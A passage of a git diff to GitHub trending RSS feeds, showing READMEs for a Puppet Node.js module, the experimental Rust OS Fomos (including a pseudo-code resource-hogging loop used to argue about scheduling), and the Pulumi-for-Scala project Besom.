<li>use_package_json: read and install modules listed in package.json in target dir and install those in subdirectory node_modules (defaults to false)</li> </ul> <p>Examples:</p> <p>Install the express package published on the npm registry to /opt/packages:</p> <pre><code class="language-puppet">nodejs::npm { 'express from the npm registry': ensure =&gt; 'present', package =&gt; 'express', target =&gt; '/opt/packages', } </code></pre> <p>or the lazy way:</p> <pre><code class="language-puppet">nodejs::npm { 'express': target =&gt; '/opt/packages', } </code></pre> <p>Install the express package as user foo:</p> <pre><code class="language-puppet">nodejs::npm { 'express install as user foo': ensure =&gt; 'present', package =&gt; 'express', target =&gt; '/opt/packages', user =&gt; 'foo', } </code></pre> <p>Install a specific version of express to /opt/packages:</p> <pre><code class="language-puppet">nodejs::npm { 'express version 2.5.9 from the npm registry': ensure =&gt; '2.5.9', package =&gt; 'express', target =&gt; '/opt/packages', } </code></pre> <p>Install the latest version of express to /opt/packages:</p> <pre><code class="language-puppet">nodejs::npm { 'express latest from the npm registry': ensure =&gt; 'latest', package =&gt; 'express', target =&gt; '/opt/packages', } </code></pre> <p>Install express from GitHub to /opt/packages:</p> <pre><code class="language-puppet">nodejs::npm { 'express from GitHub': ensure =&gt; 'present', package =&gt; 'express', source =&gt; 'strongloop/express', target =&gt; '/opt/packages', } </code></pre> <p>Install express from a remote git repository to /opt/packages:</p> <pre><code class="language-puppet">nodejs::npm { 'express from a git repository': ensure =&gt; 'present', package =&gt; 'express', source =&gt; 'git+https://git@github.com/strongloop/expressjs.git', target =&gt; '/opt/packages', } </code></pre> <p>Install express from a remote tarball to /opt/packages:</p> <pre><code class="language-puppet">nodejs::npm { 'express from a remote tarball': ensure =&gt; 'present', package =&gt; 'express', source =&gt; 'https://server.domain/express.tgz', target =&gt; '/opt/packages', } </code></pre> <p>Install tagged packages:</p> <pre><code class="language-puppet">nodejs::npm { 'my beta tagged package': ensure =&gt; 'beta', package =&gt; 'mypackage', target =&gt; '/opt/packages', } </code></pre> <p>Install a package from the registry associated with a specific scope:</p> <pre><code class="language-puppet">nodejs::npm { 'package_name from @scope_name': ensure =&gt; 'present', package =&gt; '@scope_name/package_name', target =&gt; '/opt/packages', } </code></pre> <p>Install express from a local tarball to /opt/packages:</p> <pre><code class="language-puppet">nodejs::npm { 'express from a local tarball': ensure =&gt; 'present', package =&gt; 'express', source =&gt; '/local/repository/npm_packages/express.tgz', target =&gt; '/opt/packages', } </code></pre> <p>Install express with --save-dev --no-bin-links passed to <code>npm install</code>:</p> <pre><code class="language-puppet">nodejs::npm { 'express with options': ensure =&gt; 'present', package =&gt; 'express', install_options =&gt; ['--save-dev', '--no-bin-links'], target =&gt; '/opt/packages', } </code></pre> <p>Install dependencies from package.json:</p> <pre><code class="language-puppet">nodejs::npm { 'serverapp': ensure =&gt; 'present', target =&gt; '/opt/serverapp', use_package_json =&gt; true, } </code></pre> <p>Uninstall any versions of express in /opt/packages regardless of source:</p> <pre><code class="language-puppet">nodejs::npm { 'remove all express packages': ensure =&gt; 'absent', package =&gt; 'express', target =&gt; '/opt/packages', } </code></pre> <p>Uninstall dependencies from package.json:</p> <pre><code class="language-puppet">nodejs::npm { 'serverapp': ensure =&gt; 'absent', target =&gt; '/opt/serverapp', use_package_json =&gt; true, } </code></pre> <h3>nodejs::npm::global_config_entry</h3> <p>nodejs::npm::global_config_entry can be used to set/remove global npm configuration settings.</p> <p>Note that when specifying a URL, such as registry, NPM will add a trailing slash when it stores the config. You must specify a trailing slash in your URL or the code will not be idempotent.</p> <p>Examples:</p> <pre><code class="language-puppet">nodejs::npm::global_config_entry { 'proxy': ensure =&gt; 'present', value =&gt; 'http://proxy.company.com:8080/', } </code></pre> <pre><code class="language-puppet">nodejs::npm::global_config_entry { 'dev': ensure =&gt; 'present', value =&gt; 'true', } </code></pre> <p>Delete the key from all configuration files:</p> <pre><code class="language-puppet">nodejs::npm::global_config_entry { 'color': ensure =&gt; 'absent', } </code></pre> <p>If a global_config_entry of <code>proxy</code> or <code>https-proxy</code> is specified, this will be applied before the local installation of npm packages using <code>nodejs::npm</code>.</p> <h3>Parameters</h3> <h4><code>cmd_exe_path</code></h4> <p>Path to cmd.exe on Windows. Defaults to C:\Windows\system32\cmd.exe. You may need to change this parameter for certain versions of Windows Server.</p> <h4><code>manage_nodejs_package</code></h4> <p>Whether to manage the nodejs and nodejs-dev packages. Defaults to <code>true</code>.</p> <h4><code>manage_package_repo</code></h4> <p>Whether to manage an external repository and use it as the source of the Node.js and npm package. Defaults to <code>true</code>.</p> <h4><code>nodejs_debug_package_ensure</code></h4> <p>When set to <code>present</code> or a version number, determines whether to install the Node.js package with debugging symbols, if available. Defaults to <code>absent</code>.</p> <h4><code>nodejs_dev_package_ensure</code></h4> <p>When set to <code>present</code> or a version number, determines whether to install the development Node.js package, if available. Defaults to <code>absent</code>.</p> <h4><code>nodejs_package_ensure</code></h4> <p>When set to <code>present</code> or a version number, determines whether to install the Node.js package. Defaults to <code>present</code>.</p> <h4><code>npm_package_ensure</code></h4> <p>When set to <code>present</code> or a version number, determines whether to install the separate npm package. When using the NodeSource repository, the Node.js package includes npm, so this value defaults to <code>absent</code>. This parameter will need to be set to <code>present</code> if you wish to use the native packages or are using the EPEL repository.</p> <h4><code>npm_path</code></h4> <p>Path to the npm binary.</p> <h4><code>npmrc_auth</code></h4> <p>A string that contains the value for the key <code>_auth</code> that will be set in <code>/root/.npmrc</code>, as this value is not allowed to be set by nodejs::npm::global_config_entry. The default value is <code>undef</code>.</p> <h4><code>npmrc_config</code></h4> <p>A hash that contains keys/values that will be set in <code>/root/.npmrc</code>, in the form of <code>key=value</code>. Useful for setting a http-proxy for npm only. The default value is <code>undef</code>.</p> <h4><code>repo_class</code></h4> <p>Name of the Puppet class used for the setup and management of the Node.js repository. Defaults to <code>::nodejs::repo::nodesource</code> (NodeSource). If using the Node.js and npm packages from the EPEL repository, set this to <code>::epel</code> and make sure that the EPEL module is applied before the nodejs module in your Puppet node definitions.</p> <h4><code>repo_enable_src</code></h4> <p>Whether any repositories which hold sources are enabled. Defaults to <code>false</code>.</p> <h4><code>repo_ensure</code></h4> <p>Whether to ensure that the repository exists, if it is being managed. Defaults to <code>present</code> and may also be set to <code>absent</code>.</p> <h4><code>repo_pin</code></h4> <p>Whether to perform APT pinning to pin the Node.js repository with a specific value. Defaults to <code>undef</code>.</p> <h4><code>repo_priority</code></h4> <p>Whether to set a Yum priority for the Node.js repository. If using EPEL and the NodeSource repository on the same system, you may wish to set this to a value less than 99 (or the priority set for the EPEL repository) to ensure that the NodeSource repository will always be preferred over the Node.js packages in EPEL, should they both hold the same Node.js version. Defaults to <code>absent</code>.</p> <h4><code>repo_proxy</code></h4> <p>Whether to use a proxy for this particular repository. For example, <code>http://proxy.domain</code>. Defaults to <code>absent</code>.</p> <h4><code>repo_proxy_password</code></h4> <p>Password for the proxy used by the repository, if required.</p> <h4><code>repo_proxy_username</code></h4> <p>User for the proxy used by the repository, if required.</p> <h4><code>repo_release</code></h4> <p>Optional value to override the apt distribution release. Defaults to <code>undef</code> which will autodetect the distribution. If a value is specified, this will change the NodeSource apt repository distribution. This is useful if the distribution name does not exist in the NodeSource repositories. For example, the Ubilinux distribution release name 'dolcetto' does not exist in NodeSource, but is a derivative of Debian 9 (Stretch). Setting this value to <code>stretch</code> allows NodeSource repository management to then work as expected on these systems.</p> <h4><code>repo_url_suffix</code></h4> <p>Defaults to <code>12.x</code> which means that the latest NodeSource 12.x release is installed. If you wish to install a 13.x release or greater, you will need to set this value accordingly. This parameter is a just a reflection of the NodeSource URL structure - NodeSource might remove old versions (such as 0.10 and 0.12) or add new ones (such as 20.x) at any time.</p> <p>The following are <code>repo_url_suffix</code> values that reflect NodeSource versions that were available on 2017-11-29:</p> <ul> <li>Debian 9 (Stretch) <code>4.x</code> <code>6.x</code> <code>7.x</code> <code>8.x</code> <code>9.x</code></li> <li>Debian (Sid) <code>0.10</code> <code>0.12</code> <code>4.x</code> <code>5.x</code> <code>6.x</code> <code>7.x</code> <code>8.x</code> <code>9.x</code></li> <li>Ubuntu 16.04 (Xenial) <code>0.10</code> <code>0.12</code> <code>4.x</code> <code>5.x</code> <code>6.x</code> <code>7.x</code> <code>8.x</code> <code>9.x</code></li> <li>Ubuntu 16.10 (Yakkety) <code>0.12</code> <code>4.x</code> <code>6.x</code> <code>7.x</code> <code>8.x</code></li> <li>Ubuntu 17.10 (Artful) <code>4.x</code> <code>6.x</code> <code>8.x</code> <code>9.x</code></li> <li>RHEL/CentOS 7 <code>0.10</code> <code>0.12</code> <code>4.x</code> <code>5.x</code> <code>6.x</code> <code>7.x</code> <code>8.x</code> <code>9.x</code></li> <li>Amazon Linux - See RHEL/CentOS 7</li> <li>Fedora 25 <code>4.x</code> <code>6.x</code> <code>7.x</code> <code>8.x</code> <code>9.x</code></li> <li>Fedora 26 <code>6.x</code> <code>8.x</code> <code>9.x</code></li> <li>Fedora 27 <code>8.x</code> <code>9.x</code></li> </ul> <h4><code>use_flags</code></h4> <p>The USE flags to use for the Node.js package on Gentoo systems. Defaults to ['npm', 'snapshot'].</p> <h4><code>package_provider</code></h4> <p>The package provider is set as the default for most distributions. You can override this with the package_provider parameter to use an alternative</p> <h2>Limitations</h2> <p>This module has received limited testing on:</p> <ul> <li>CentOS/RHEL 7/8</li> <li>Debian 9/10</li> <li>Ubuntu 16.04/18.04/20.04</li> </ul> <p>The following platforms should also work, but have not been tested:</p> <ul> <li>Amazon Linux</li> <li>Archlinux</li> <li>Darwin</li> <li>Fedora</li> <li>FreeBSD</li> <li>Gentoo</li> <li>OpenBSD</li> <li>OpenSuse/SLES</li> <li>Ubilinux</li> <li>Windows</li> </ul> <h3>Module dependencies</h3> <p>This modules uses <code>puppetlabs-apt</code> for the management of the NodeSource repository. If using an operating system of the Debian-based family, you will need to ensure that <code>puppetlabs-apt</code> version 4.4.0 or above is installed.</p> <p>If using CentOS/RHEL 7 and you wish to install Node.js from EPEL rather than from the NodeSource repository, you will need to ensure <code>puppet-epel</code> is installed and is applied before this module.</p> <p>If using Gentoo, you will need to ensure <code>gentoo-portage</code> is installed.</p> <p>If using Windows, you will need to ensure that <code>puppetlabs-chocolatey</code> is installed.</p> <p>nodejs::npm has the ability to fetch npm packages from Git sources. If you wish to use this functionality, Git needs to be installed and be in the <code>PATH</code>.</p> <h2>Development</h2> <p>See <a href="https://raw.githubusercontent.com/voxpupuli/puppet-nodejs/master/CONTRIBUTING.md">CONTRIBUTING</a></p> \ No newline at end of file diff --git a/runoff/daily/index.xml b/runoff/daily/index.xml index 18287cb0341..89dfa629790 100644 --- a/runoff/daily/index.xml +++ b/runoff/daily/index.xml @@ -1,7 +1,7 @@ GitHub RUNOFF Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:25Z + 2023-09-20T01:39:56Z Daily Trending of RUNOFF in GitHub \ No newline at end of file diff --git a/rust/daily/index.xml b/rust/daily/index.xml index b74d8782210..859036b07bf 100644 --- a/rust/daily/index.xml +++ b/rust/daily/index.xml @@ -1,7 +1,14 @@ GitHub Rust Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:38Z + 2023-09-20T01:40:03Z Daily Trending of Rust in GitHub + + Ruddle/Fomos + 2023-09-20T01:40:03Z + tag:github.com,2023-09-20:/Ruddle/Fomos + + <p>Experimental OS, built with rust</p><hr><blockquote> <p>You can support this night time project by hiring me for a day time job !</p> </blockquote> <h1>Fomos</h1> <p>Experimental OS, built with Rust</p> <p><a href="https://github.com/Ruddle/Fomos/assets/14235713/3ee75d5e-5ebe-4cc1-b267-8b73337ee157">https://github.com/Ruddle/Fomos/assets/14235713/3ee75d5e-5ebe-4cc1-b267-8b73337ee157</a></p> <p><strong>Fun fact</strong>: there are 3 apps running in the video. A background app, a cursor app, and a console app.</p> <h1>Why</h1> <p>I wanted to experiment with Non-Unix OS ideas.</p> <p>Exo-kernels are interesting, but it is mostly a theory. This project helps me understand the challenges involved in that pattern.</p> <p>OS development is extremely hard, Rust makes it more bearable.</p> <h1>Features</h1> <ul> <li>Has a graphical output</li> <li>Dynamic allocation</li> <li>Load and run concurrent apps</li> <li>All apps run in an async loop</li> <li>Support Virtio mouse and keyboard (drivers are async tasks)</li> <li>Cooperative scheduling (apps yield control as much as possible)</li> <li>No context switches once booted</li> <li><em>Nearly support Virgl</em> ™</li> </ul> <p>There is 5 examples of apps in this repo named <code>app_*</code>, some in Rust, one in C. The kernel is in <code>bootloader</code>.</p> <h1>What is unique</h1> <p>The signature of an app in Fomos:</p> <pre><code class="language-rust">pub extern "C" fn _start(ctx: &amp;mut Context) -&gt; i32 </code></pre> <p>Apps do not need a standard library, any OS functionality is given to the app through the <em>Context</em>.</p> <p>the <em>Context</em> is mostly a pointer to a bag of kernel functionnalities</p> <pre><code class="language-rust">pub extern "C" fn </code></pre> <p>In Fomos, an app is really just a <strong>function</strong>. There is nothing else ! This is a <strong>huge</strong> claim. An executable for a Unix or Windows OS is extremely complex compared to a freestanding function.</p> <p><code>&lt;rant&gt;</code></p> <p>It is out a frustration for all my Glibc problems during day job dev on linux that I chose to try this approach.</p> <p>I want a flat contract between an app and the OS. So what if an app was a function ? The contract is then <strong>only</strong> the explicit argument type.</p> <p>In Unix, an app has to know the target OS, but also what standard library it uses, that is 2 levels of indirections. Sometimes the os level has a conflict, sometimes the standard library level has a conflict, and sometimes I just don't have the level to understand why something doesn't work. I merely know it is related.</p> <p><code>&lt;/rant&gt;</code></p> <p>I am trying to know if it is possible to have an OS-App ecosystem that does not suppose <strong>ANY</strong> <strong>implicit</strong> configuration. An app would <strong>JUST</strong> have to handle its explicit <code>start</code> <em>context</em> argument.</p> <p><em>Context</em> gives any OS function necessary, think alloc, free, access to a framebuffer, or any hardware, any system calls etc.</p> <p>That way, apps could be freestanding, and compatible on multiple OS.</p> <h3>More about Context</h3> <p>Here is the <em>Context</em> for the last version of this OS</p> <pre><code class="language-rust">#[repr(C)] pub struct Context&lt;'a, T&gt; { pub version: u8, pub start_time: u64, pub log: extern "C" fn(s: *const u8, l: u32), pub pid: u64, pub fb: FB&lt;'a&gt;, pub calloc: extern "C" fn(usize, usize) -&gt; *mut u8, pub cdalloc: extern "C" fn(*mut u8, usize, usize), pub store: &amp;'a mut Option&lt;Box&lt;T&gt;&gt;, pub input: &amp;'a Input, } </code></pre> <p>Note that <code>app_test</code> for instance, uses an old version of the <em>Context</em>, and still works on the newer version of the OS</p> <p>Old Context used by <code>app_test</code>:</p> <pre><code class="language-rust">#[repr(C)] pub struct Context&lt;'a&gt; { pub version: u8, start_time: u64, log: extern "C" fn(s: *const u8, l: u32), pid: u64, fb: FB&lt;'a&gt;, } </code></pre> <p>Meaning Fomos already handles gracefully Apps designed for a much older version of itself. As long as the OS stays compatible with the old stuff in the context, it can add new functionalities for other App by just appending to the context the new functions (here calloc, cdalloc, store, and input).</p> <p><code>app_test</code> precedes the dynamic allocation age !</p> <p>Could that pattern work in the long term ?</p> <h3>How about system calls</h3> <p>None. Lets try to put everything into <em>Context</em> functions. No voodoo cpu instruction magic.</p> <blockquote> <p>But how do you give back control to the OS ?</p> </blockquote> <p>Just</p> <pre><code class="language-rust">return; </code></pre> <blockquote> <p>How do you sleep, or wait asynchronously ?</p> </blockquote> <p>Just</p> <pre><code class="language-rust">return; </code></pre> <p>Apps are <strong>cooperative</strong> in Fomos, They can just return (which would exit permanently an app on a classic OS), and assume that they are gonna be called through their only function <code>start</code> again soon, maybe even instantly if the "system call" works that way.</p> <blockquote> <p>But an app loses all RAM data everytime it yields that way !</p> </blockquote> <p>No, an app can store anything it wants in Context.store during its execution, and get it back every <code>start</code> call. The OS keeps everything in RAM (on the heap). The stack itself is "reset". But it is not more "reset" than it is after any function execution in a normal program. You don't lose anything. In Fomos, apps are merely a single function called multiple times!</p> <p>Over simplification of the kernel loop:</p> <pre><code class="language-rust">loop { for app in apps.iter_mut() { app._start(Context::new(...)); } } </code></pre> <p>There are a lot of questions without answer yet, but by now you might be curious, what if all the question had an answer in the pattern ? It looks like it could actually work (with a lot of work).</p> <h1>Advantages</h1> <p>A lot of stuff comes free once you accept the premises.</p> <h4>Sandboxing, instrumentation, debugging</h4> <p>Every functionnality and side effect given to an app goes explicitely through the <em>Context</em>. The <em>Context</em> is just a struct, we can wrap or replace anything in it. Lets instrument an app we'll call <code>special_app</code>. Over simplification :</p> <pre><code class="language-rust">loop { for normal_app in normal_apps.iter_mut() { app._start(Context::new(alloc,..)); } // special_app alloc instrumentation fn alloc_log(..){log("allocation detected!"); return alloc(..);} special_app._start(Context::new(alloc_log,..)); } </code></pre> <h4>Restart, sleep, change of hardware</h4> <p>An app memory lives in its context. The stack is fleeting. It is reset after each yield and doesn't mean much in Fomos. Since the <em>Context</em> is explicit, it can be stored. A restart <em>can</em> be made completely transparent to an app.</p> <p>Pseudo code:</p> <pre><code class="language-rust">//kernel just started ... let app = App::new(..); let ctx = disk.load(app.id).unwrap_or(Context::new(..)); loop{ app._start(ctx); if restart_request{ disk.save(app.id, ctx) break; } } //handle restart ... </code></pre> <p>Quickload and quicksave of an app complete state is trivial. Note that some change of hardware could make an app bug. It would be a problem if it was transparent. However, it could be made opaque and obvious, in an opt-in manner, again through the <em>Context</em>.</p> <h1>Disadvantages</h1> <h3>Security</h3> <p>Right now it is not implemented, any app can casually check the ram of another app ^^. This is going to be a hard problem to solve. I have plans to have data security without context switch, and without giving every damn app its own virtual memory stack.</p> <h3>Cooperative vs preemptive scheduling</h3> <p>The argument that a cooperative scheduling is doomed to fail is overblown. Apps are already very much cooperative. For proof, run a version of that on your nice preemptive system :</p> <pre><code class="language-js">while(true){ new Thread( () =&gt; { fs.writeFile("/home/"+randomString(),randomString()) malloc(randomInt()) curl("http://"+randomString()+".com") } } </code></pre> <ul> <li>Blender does a compelling impression of that when you increase the level of details one too many times. Might fill your swap and crash unsaved work on other apps.</li> <li>Badly written Webgl websites crash my gpu driver.</li> </ul> <p>Not only is preemptive scheduling not enough, IMO it is not necessary. Also it is a spectrum. A system can be optimistically cooperative, and turn preemptive pessimistically.</p> <p>However the ecosystem is made for preemptive OS. There is friction in doing things differently.</p> <h1>Missing</h1> <ul> <li>Permanent storage (should be easy since virtio is already implemented)</li> <li>Gpu support (virgl wip)</li> <li>Networking</li> <li>A nice abstraction for apps to share data and functionnalities between themselves</li> </ul> <p>The rest should live in userland.</p> <h1>Building</h1> <p>run</p> <pre><code class="language-sh">./build.sh </code></pre> <p><em>You might need rust nightly, gcc, qemu with virgl &amp; sdl flag</em></p> <p><a href="https://raw.githubusercontent.com/Ruddle/Fomos/main/docs/BUILD.md">More info here</a></p> <h1>Credit</h1> <p>Heavily inspired by <a href="https://os.phil-opp.com/">Philipp Oppermann's blog</a>.</p> <p>Thanks to <a href="https://github.com/darbysauter/myOS">darbysauter</a> for the advice given.</p> + \ No newline at end of file diff --git a/sage/daily/index.xml b/sage/daily/index.xml index c5ccf7568fc..6aa0b6a4c07 100644 --- a/sage/daily/index.xml +++ b/sage/daily/index.xml @@ -1,7 +1,7 @@ GitHub Sage Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:45Z + 2023-09-20T01:40:25Z Daily Trending of Sage in GitHub \ No newline at end of file diff --git a/saltstack/daily/index.xml b/saltstack/daily/index.xml index 9111b8b5e71..e713b5cb740 100644 --- a/saltstack/daily/index.xml +++ b/saltstack/daily/index.xml @@ -1,7 +1,7 @@ GitHub SaltStack Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:46Z + 2023-09-20T01:40:27Z Daily Trending of SaltStack in GitHub \ No newline at end of file diff --git a/sas/daily/index.xml b/sas/daily/index.xml index 25e436c1664..596d816bcea 100644 --- a/sas/daily/index.xml +++ b/sas/daily/index.xml @@ -1,7 +1,7 @@ GitHub SAS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:47Z + 2023-09-20T01:40:26Z Daily Trending of SAS in GitHub \ No newline at end of file diff --git a/sass/daily/index.xml b/sass/daily/index.xml index b365e7bf65a..0e45e100b70 100644 --- a/sass/daily/index.xml +++ b/sass/daily/index.xml @@ -1,7 +1,7 @@ GitHub Sass Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:48Z + 2023-09-20T01:40:24Z Daily Trending of Sass in GitHub \ No newline at end of file diff --git a/scala/daily/index.xml b/scala/daily/index.xml index 46343edf761..dd65d9b25d2 100644 --- a/scala/daily/index.xml +++ b/scala/daily/index.xml @@ -1,14 +1,14 @@ GitHub Scala Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:55Z + 2023-09-20T01:40:33Z Daily Trending of Scala in GitHub - IntelLabs/riscv-vector - 2023-09-19T01:38:55Z - tag:github.com,2023-09-19:/IntelLabs/riscv-vector - - <p>Vector Acceleration IP core for RISC-V*</p><hr><h1>riscv-vector</h1> <p>Vector Acceleration IP core for RISC-V*.</p> <h2>Introduction</h2> <p>Vector Acceleration IP core for RISC-V* is a flexible RISC-V Vector unit that aims to support RISC-V Vector extension. The interface is based on OVI (Open Vector Interface) in order to integrate with different scalar cores. The code is written with Chisel.</p> <h2>Status</h2> <p>Under test</p> <h2>License</h2> <p>Only the OVI(Open Vector Interface) is under Solderpad Hardware License v2.1 and others follow the Mulan PSL v2.</p> + VirtusLab/besom + 2023-09-20T01:40:33Z + tag:github.com,2023-09-20:/VirtusLab/besom + + <p>Besom - a broom made of twigs tied round a stick. Brooms and besoms are used for protection, to ward off evil spirits, and cleansing of ritual spaces. Also, an experimental pulumi-scala implementation, incidentally.</p><hr><h1>Besom</h1> <p><strong>Besom</strong> - a broom made of twigs tied around a stick. Brooms and besoms are used for protection, to ward off evil spirits, and cleansing of ritual spaces. Also, an experimental pulumi-scala implementation, incidentally.</p> <p><img src="https://raw.githubusercontent.com/VirtusLab/besom/develop/website/static/img/Besom_logo_full_color.png" alt="Besom logo"></p> <h2>Getting started</h2> <h3>Publish necessary packages</h3> <p>Prerequisites: <a href="https://www.pulumi.com/docs/install/">pulumi</a>, <a href="https://github.com/casey/just#installation">just</a>, <a href="https://scala-cli.virtuslab.org/install/">scala-cli</a>, java, <a href="https://go.dev/doc/install">go</a>, <a href="https://grpc.io/docs/protoc-installation/">protoc</a>, git, unzip,</p> <p>Publish locally and install necessary Besom packages:</p> <pre><code class="language-bash">just publish-local-core just publish-local-compiler-plugin just install-language-plugin </code></pre> <h3>Publish additional SDKs</h3> <p>You have to generate an SDK for a provider of your choice, to do that run:</p> <pre><code class="language-bash">just generate-provider-sdk ${provider_name} ${provider_version} just publish-local-provider-sdk ${provider_name} ${provider_version} </code></pre> <p>e.g.:</p> <pre><code class="language-bash">just generate-provider-sdk kubernetes 4.2.0 just publish-local-provider-sdk kubernetes 4.2.0 </code></pre> <h3>Initialize your code with a template</h3> <p>You can start writing your code at this point but to help you set up Besom comes with Pulumi templates. More information about templates in <a href="https://raw.githubusercontent.com/VirtusLab/besom/develop/template/README">./template/README</a></p> <p>To initialize your project with chosen template run this in an empty folder:</p> <pre><code class="language-shell">pulumi new ${path_to_the_template} </code></pre> <p>e.g.:</p> <pre><code class="language-shell">cd .. mkdir infra cd infra pulumi new ../besom/template/kubernetes </code></pre> <h2>Explaining the file structure</h2> <p><code>Pulumi.yaml</code> is your main Pulumi file, explained <a href="https://www.pulumi.com/docs/concepts/projects/project-file/">here</a>.</p> <p><code>project.scala</code> is the file containing your dependencies.</p> <p><code>Main.scala</code> is the entry point for your infrastructure as code. Resources created in <code>Pulumi.run{ ... }</code> block will be created by Pulumi.</p> <h2>Setting up the code editor</h2> <p>If you are using IntelliJ:</p> <ol> <li>install scala plugin</li> <li>use BSP (<a href="https://www.jetbrains.com/help/idea/bsp-support.html">documentation</a>), hint: once you have <code>.bsp</code> directories you can import modules one by one</li> </ol> <p>If you are using VSCode:</p> <ol> <li>install Metals</li> <li>open the folder with your infrastructure and start Metals.</li> </ol> <p>This might not be enough if your infrastructure is just a part (a module) of your existing scala project. For this to work you have to make your build tool aware of the infrastructure code, for <strong>sbt</strong> create a corresponding module:</p> <pre><code class="language-scala">lazy val infra = project.in(file("infrastructure")).settings( libraryDependencies ++= Seq( "org.virtuslab" %% "besom-kubernetes" % "0.0.1-SNAPSHOT", // or any other sdk you are using "org.virtuslab" %% "besom-core" % "0.0.1-SNAPSHOT" )) </code></pre> <p>This just informs your IDE about the existence of the infrastructure module, DO NOT remove dependencies from <code>project.scala</code>, because they are necessary in both places.</p> <h2>Tips</h2> <ul> <li>Pass <code>Context</code> everywhere you are using Pulumi, for example when you are creating a resource.</li> <li>Resources are initialized lazily. To make them appear in your physical infrastructure make sure their evaluation is triggered directly or transitively from the main for-comprehension block of your Pulumi program.</li> <li>Use whatever scala concepts you are familiar with, infrastructure as code in Besom is still a scala program, so you have the full potential of the language to work with.</li> <li>Pay attention to the types. You will be instantiating case classes to pass parameters, note their package of origin.</li> </ul> \ No newline at end of file diff --git a/scaml/daily/index.xml b/scaml/daily/index.xml index cef4165a568..1b1574e427a 100644 --- a/scaml/daily/index.xml +++ b/scaml/daily/index.xml @@ -1,7 +1,7 @@ GitHub Scaml Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:50Z + 2023-09-20T01:40:29Z Daily Trending of Scaml in GitHub \ No newline at end of file diff --git a/scheme/daily/index.xml b/scheme/daily/index.xml index d72341104a9..cf4bef07926 100644 --- a/scheme/daily/index.xml +++ b/scheme/daily/index.xml @@ -1,7 +1,7 @@ GitHub Scheme Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:52Z + 2023-09-20T01:40:30Z Daily Trending of Scheme in GitHub \ No newline at end of file diff --git a/scilab/daily/index.xml b/scilab/daily/index.xml index 94fbe09e925..c1ab0f35dff 100644 --- a/scilab/daily/index.xml +++ b/scilab/daily/index.xml @@ -1,7 +1,7 @@ GitHub Scilab Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:01Z + 2023-09-20T01:40:43Z Daily Trending of Scilab in GitHub \ No newline at end of file diff --git a/scss/daily/index.xml b/scss/daily/index.xml index 49c2997c279..92e4547850d 100644 --- a/scss/daily/index.xml +++ b/scss/daily/index.xml @@ -1,7 +1,21 @@ GitHub SCSS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:06Z + 2023-09-20T01:40:46Z Daily Trending of SCSS in GitHub + + swahilipothub-dev/pwani-innovation-week + 2023-09-20T01:40:46Z + tag:github.com,2023-09-20:/swahilipothub-dev/pwani-innovation-week + + <p></p><hr> + + + aaronjamesyoung/ajy-digitalgarden + 2023-09-20T01:40:46Z + tag:github.com,2023-09-20:/aaronjamesyoung/ajy-digitalgarden + + <p></p><hr> + \ No newline at end of file diff --git a/sed/daily/index.xml b/sed/daily/index.xml index 7c36a32f8d7..f3e21e1b8db 100644 --- a/sed/daily/index.xml +++ b/sed/daily/index.xml @@ -1,7 +1,7 @@ GitHub sed Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:02Z + 2023-09-20T01:40:42Z Daily Trending of sed in GitHub \ No newline at end of file diff --git a/self/daily/index.xml b/self/daily/index.xml index a4dc426361a..f9ae2049142 100644 --- a/self/daily/index.xml +++ b/self/daily/index.xml @@ -1,7 +1,7 @@ GitHub Self Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:03Z + 2023-09-20T01:40:42Z Daily Trending of Self in GitHub \ No newline at end of file diff --git a/selinux-policy/daily/index.xml b/selinux-policy/daily/index.xml index fb6b06c1058..51c63a00a3f 100644 --- a/selinux-policy/daily/index.xml +++ b/selinux-policy/daily/index.xml @@ -1,7 +1,7 @@ GitHub SELinux Policy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:10Z + 2023-09-20T01:40:47Z Daily Trending of SELinux Policy in GitHub \ No newline at end of file diff --git a/shaderlab/daily/index.xml b/shaderlab/daily/index.xml index 4aab5de039f..59ccc3d7a1e 100644 --- a/shaderlab/daily/index.xml +++ b/shaderlab/daily/index.xml @@ -1,7 +1,7 @@ GitHub ShaderLab Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:09Z + 2023-09-20T01:40:49Z Daily Trending of ShaderLab in GitHub \ No newline at end of file diff --git a/shell/daily/index.xml b/shell/daily/index.xml index 6ebe5f808fb..dc30fd3d278 100644 --- a/shell/daily/index.xml +++ b/shell/daily/index.xml @@ -1,14 +1,7 @@ GitHub Shell Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:39:13Z + 2023-09-20T01:40:52Z Daily Trending of Shell in GitHub - - hiddify/Hiddify-Server - 2023-09-19T01:39:13Z - tag:github.com,2023-09-19:/hiddify/Hiddify-Server - - <p>multi-user anti-filtering panel, with an effortless installation and supporting more than 20 protocols to circumvent filtering plus the telegram proxy.</p><hr><div dir="ltr"> <p><a href="https://raw.githubusercontent.com/hiddify/Hiddify-Server/main/README_fa.md"><strong><img src="https://user-images.githubusercontent.com/125398461/234186932-52f1fa82-52c6-417f-8b37-08fe9250a55f.png" alt="Lang_farsi"> &nbsp;فارسی</strong></a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="https://raw.githubusercontent.com/hiddify/Hiddify-Server/main/README_cn.md"><strong><img src="https://user-images.githubusercontent.com/125398461/236453142-16f3a81e-8f40-403d-a452-34c4c9ed8f64.png" alt="Lang_Chinese"> 简体中文</strong></a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a 